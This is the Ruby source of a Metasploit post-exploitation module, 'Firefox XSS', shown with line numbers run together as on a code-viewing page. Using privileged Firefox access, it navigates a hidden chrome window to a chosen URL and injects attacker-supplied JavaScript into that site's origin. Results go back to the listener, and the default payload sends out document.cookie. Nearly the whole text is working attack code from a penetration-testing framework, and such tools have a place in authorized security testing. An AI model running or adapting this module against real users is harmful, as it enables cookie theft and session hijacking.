Path: blob/master/modules/post/firefox/gather/xss.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'json'67class MetasploitModule < Msf::Post8include Msf::Payload::Firefox9include Msf::Exploit::Remote::FirefoxPrivilegeEscalation1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Firefox XSS',16'Description' => %q{17This module runs the provided SCRIPT as javascript in the18origin of the provided URL. It works by navigating to a hidden19ChromeWindow to the URL, then injecting the SCRIPT with Function().20The callback "send(result)" is used to send data back to the listener.21},22'License' => MSF_LICENSE,23'Author' => [ 'joev' ],24'Platform' => [ 'firefox' ],25'Notes' => {26'Stability' => [CRASH_SAFE],27'SideEffects' => [],28'Reliability' => []29}30)31)3233register_options([34OptString.new('SCRIPT', [true, 'The javascript command to run', 'send(document.cookie)']),35OptPath.new('SCRIPTFILE', [false, 'The javascript file to run']),36OptString.new('URL', [37true, 'URL to inject into', 'https://metasploit.com'38]),39OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90])40])41end4243def run44results = js_exec(js_payload)45if results.present?46print_good results47else48print_error 'No response received'49end50end5152def js_payload53js = datastore['SCRIPT'].strip54%|5556(function(send){57#{set_timeout_source}5859var hiddenWindow = Components.classes["@mozilla.org/appshell/appShellService;1"]60.getService(Components.interfaces.nsIAppShellService)61.hiddenDOMWindow;6263hiddenWindow.location = 'about:blank';64var src = (#{JSON.unparse({ src: js })}).src;65var key = "#{Rex::Text.rand_text_alphanumeric(8..19)}";6667hiddenWindow[key] = true;68hiddenWindow.location = "#{datastore['URL']}";6970var evt = function() {71if (hiddenWindow[key]) {72setTimeout(evt, 200);73} else {74setTimeout(function(){75try {76send(hiddenWindow.wrappedJSObject.Function('send', src)(send));77} catch (e) {78send("Error: "+e.message);79}80}, 500);81}82};8384setTimeout(evt, 200);85})(this.send);8687|.strip88end89end909192